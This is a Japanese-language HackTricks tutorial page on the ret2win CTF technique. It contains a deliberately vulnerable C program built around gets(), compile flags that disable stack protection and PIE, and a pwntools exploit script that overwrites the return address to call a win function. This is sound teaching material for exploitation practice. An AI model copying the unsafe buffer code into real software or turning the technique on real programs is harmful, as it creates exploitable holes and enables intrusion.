hacktricks/binary-exploitation/stack-overflow/ret2win.md

8.5 KiB
Raw Blame History

Ret2win

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

Ret2win チャレンジは、特にバイナリエクスプロイテーションを含むタスクで、Capture The Flag (CTF) コンテストで人気のあるカテゴリです。目標は、与えられたバイナリ内の脆弱性を悪用して、通常winflagなどと名前が付けられた特定の未呼び出し関数を実行することです。通常、この関数を実行すると、フラグや成功メッセージが表示されます。チャレンジは、通常、スタック上のリターンアドレスを上書きして、実行フローを目的の関数に誘導することを含みます。以下は、例を交えたより詳細な説明です:

Cの例

脆弱性を持つシンプルなCプログラムと、呼び出したいwin関数があるとします:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

このプログラムをスタック保護を無効にして、ASLRを無効にしてコンパイルするには、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: プログラムを32ビットバイナリとしてコンパイルするこれはオプションですが、CTFチャレンジで一般的です
  • -fno-stack-protector: スタックオーバーフローに対する保護を無効にします。
  • -z execstack: スタック上でのコードの実行を許可します。
  • -no-pie: 位置独立実行可能ファイルを無効にして、win 関数のアドレスが変わらないようにします。
  • -o vulnerable: 出力ファイルの名前を vulnerable にします。

Pwntoolsを使用したPythonエクスプロイト

エクスプロイトでは、エクスプロイトスクリプトがペイロードを作成してバッファをオーバーフローし、リターンアドレスを win 関数のアドレスで上書きします。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

アドレスを見つけるためには、gdbobjdump、またはバイナリファイルを調査する他のツールを使用できます。例えば、objdumpを使用して次のようにします:

objdump -d vulnerable | grep win

このコマンドは、win 関数のアセンブリを表示し、その開始アドレスも含まれます。

Pythonスクリプトは、vulnerable_function によって処理されるときに、注意深く作成されたメッセージを送信し、バッファをオーバーフローさせ、スタック上の戻りアドレスを win のアドレスで上書きします。vulnerable_function が戻るときに、main に戻るか終了する代わりに、win にジャンプし、メッセージが表示されます。

保護

  • PIE は無効にする必要があります。アドレスが実行ごとに信頼性のあるものになるか、関数が格納されるアドレスが常に同じでないため、win 関数がどこにロードされるかを特定するためには何らかのリークが必要になります。オーバーフローを引き起こす関数が read などの場合、1または2バイトの部分的な上書きを行うことで、戻りアドレスを win 関数に変更することができます。ASLRの動作により、最後の3つの16進数のニブルはランダム化されないため、正しい戻りアドレスを取得する確率は1/161ニブルです。
  • Stack Canaries も無効にする必要があります。さもないと、侵害された EIP 戻りアドレスは決して追跡されません。

他の例と参考文献